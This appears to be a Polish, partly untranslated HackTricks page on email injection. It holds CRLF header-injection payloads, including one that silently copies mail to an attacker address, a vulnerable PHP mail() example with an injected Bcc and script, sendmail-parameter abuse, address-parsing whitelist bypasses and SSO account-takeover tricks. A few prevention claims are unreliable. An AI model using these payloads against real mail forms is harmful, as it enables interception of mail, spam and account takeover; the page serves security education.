12 KiB
Wstrzykiwanie do wysłanej wiadomości e-mail
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Wstrzykiwanie w wysłaną wiadomość e-mail
Wstrzykiwanie Cc i Bcc po argumencie nadawcy
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Wstrzyknięcie argumentu
The message will be sent to the recipient and recipient1 accounts.
Wstrzyknięcie argumentu
From:sender@domain.com%0ATo:attacker@domain.com
Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz do konta atakującego.
Wstrzyknięcie argumentu Temat (Subject)
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Fałszywy temat zostanie dodany do oryginalnego tematu i w niektórych przypadkach go zastąpi. To zależy od zachowania usługi pocztowej.
Zmień treść wiadomości
Wstrzyknij dwie linie odstępu, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Wykorzystanie funkcji PHP mail()
The mail()
function in PHP is commonly used to send emails from a web application. However, if not properly secured, it can be vulnerable to email injection attacks. Email injection occurs when an attacker is able to manipulate the email headers and inject malicious content into the email.
Exploiting Email Injection
To exploit email injection, an attacker can craft a specially crafted input that includes additional email headers or commands. These additional headers or commands can be used to perform various malicious actions, such as sending spam emails, stealing sensitive information, or even executing arbitrary code on the server.
Example of Email Injection
Consider the following vulnerable code snippet:
<?php
$to = $_POST['email'];
$subject = "Welcome to our website!";
$message = "Thank you for signing up.";
$headers = "From: noreply@example.com";
mail($to, $subject, $message, $headers);
?>
In this example, the $_POST['email']
variable is directly used as the recipient of the email without any validation or sanitization. An attacker can exploit this by injecting additional headers using a newline character (\r\n
).
For example, an attacker can craft a malicious input like this:
email@example.com\r\nBcc: attacker@example.com\r\nContent-Type: text/html\r\n\r\n<script>alert('You have been hacked!');</script>
When the email is sent, the additional headers and the injected script will be included in the email. The script will be executed when the email is opened by the recipient, potentially leading to further exploitation.
Prevention
To prevent email injection attacks, it is important to properly validate and sanitize user input before using it in email headers. Here are some best practices to follow:
- Validate and sanitize user input: Ensure that user input is properly validated and sanitized to prevent any malicious content from being injected.
- Use a safe email library: Instead of using the
mail()
function directly, consider using a secure email library that handles email headers properly and provides built-in protection against email injection attacks. - Implement input validation and filtering: Implement input validation and filtering mechanisms to ensure that user input adheres to expected formats and does not contain any malicious content.
- Use prepared statements or parameterized queries: If user input is used in SQL queries, use prepared statements or parameterized queries to prevent SQL injection attacks, which can also be used to perform email injection.
By following these best practices, you can protect your web application from email injection attacks and ensure the security of your users' data.
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Piąty parametr ($additional_parameters)
Ta sekcja będzie oparta na tym, jak nadużywać tego parametru zakładając, że atakujący go kontroluje.
Ten parametr zostanie dodany do wiersza poleceń, który PHP będzie używał do wywołania binarnego sendmail. Jednak zostanie on zabezpieczony za pomocą funkcji escapeshellcmd($additional_parameters)
.
Atakujący może wstrzyknąć dodatkowe parametry dla sendmail w tym przypadku.
Różnice w implementacji /usr/sbin/sendmail
Interfejs sendmail jest dostarczany przez oprogramowanie poczty MTA (Sendmail, Postfix, Exim itp.) zainstalowane w systemie. Chociaż podstawowe funkcje (takie jak parametry -t -i -f) pozostają takie same ze względów zgodności, inne funkcje i parametry różnią się znacznie w zależności od zainstalowanego MTA.
Oto kilka przykładów różnych stron podręcznika polecenia sendmail:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
W zależności od pochodzenia binarnego sendmail odkryto różne opcje nadużywania ich i wyciek plików lub nawet wykonywanie dowolnych poleceń. Sprawdź jak to zrobić na stronie https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Wstrzykiwanie w nazwę e-maila
Pomijane części adresu e-mail
Symbole: +, - i {} w rzadkich przypadkach mogą być używane do oznaczania i są ignorowane przez większość serwerów poczty elektronicznej
Komentarze w nawiasach () na początku lub na końcu również są ignorowane
- Np. john.doe(intigriti)@example.com → john.doe@example.com
Ominięcie białej listy
Cytaty
Adresy IP
Możesz również używać adresów IP jako nazw domenowych, umieszczając je w nawiasach kwadratowych:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Inne podatności
SSO osób trzecich
XSS
Niektóre usługi, takie jak github lub salesforce, pozwalają tworzyć adresy e-mail z zainfekowanymi XSS. Jeśli możesz użyć tych dostawców do logowania się na inne usługi i te usługi nie oczyszczają poprawnie adresu e-mail, możesz spowodować XSS.
Przejęcie konta
Jeśli usługa SSO pozwala na utworzenie konta bez weryfikacji podanego adresu e-mail (tak jak salesforce) i następnie możesz użyć tego konta do zalogowania się na inną usługę, która ufa salesforce, możesz uzyskać dostęp do dowolnego konta.
Należy jednak zauważyć, że salesforce wskazuje, czy podany adres e-mail został zweryfikowany, ale aplikacja powinna uwzględniać tę informację.
Odpowiedź do
Możesz wysłać e-mail używając Od: company.com i Odpowiedz do: attacker.com, a jeśli zostanie wysłana automatyczna odpowiedź z powodu wysłania e-maila z wewnętrznego adresu, atakujący może być w stanie otrzymać tę odpowiedź.
Wskaźnik odrzutu twardy
Niektóre usługi, takie jak AWS, wprowadzają próg znanym jako wskaźnik odrzutu twardego, zwykle ustawiony na 10%. Jest to kluczowa metryka, zwłaszcza dla usług dostarczania poczty elektronicznej. Przekroczenie tego wskaźnika może spowodować zawieszenie lub zablokowanie usługi, takiej jak usługa poczty elektronicznej AWS.
Twardy odrzut odnosi się do e-maila, który został zwrócony do nadawcy, ponieważ adres odbiorcy jest nieprawidłowy lub nieistniejący. Może to wynikać z różnych przyczyn, takich jak wysłanie e-maila na nieistniejący adres, domenę, która nie istnieje, lub odmowę serwera odbiorcy przyjęcia e-maili.
W kontekście AWS, jeśli wysyłasz 1000 e-maili, a 100 z nich kończy się twardym odrzutem (z powodu nieprawidłowych adresów lub domen), oznacza to wskaźnik twardego odrzutu wynoszący 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service).
Ważne jest utrzymanie niskiego wskaźnika twardego odrzutu, aby zapewnić nieprzerwane świadczenie usług poczty elektronicznej i utrzymanie reputacji nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail na listach mailingowych może znacznie pomóc w osiągnięciu tego celu.
Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odrzutów i skarg AWS SES Bounce Handling.
Odwołania
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Uzyskaj oficjalne gadżety PEASS & HackTricks
- Odkryj [Rodzinę PEASS](https://opensea.io/c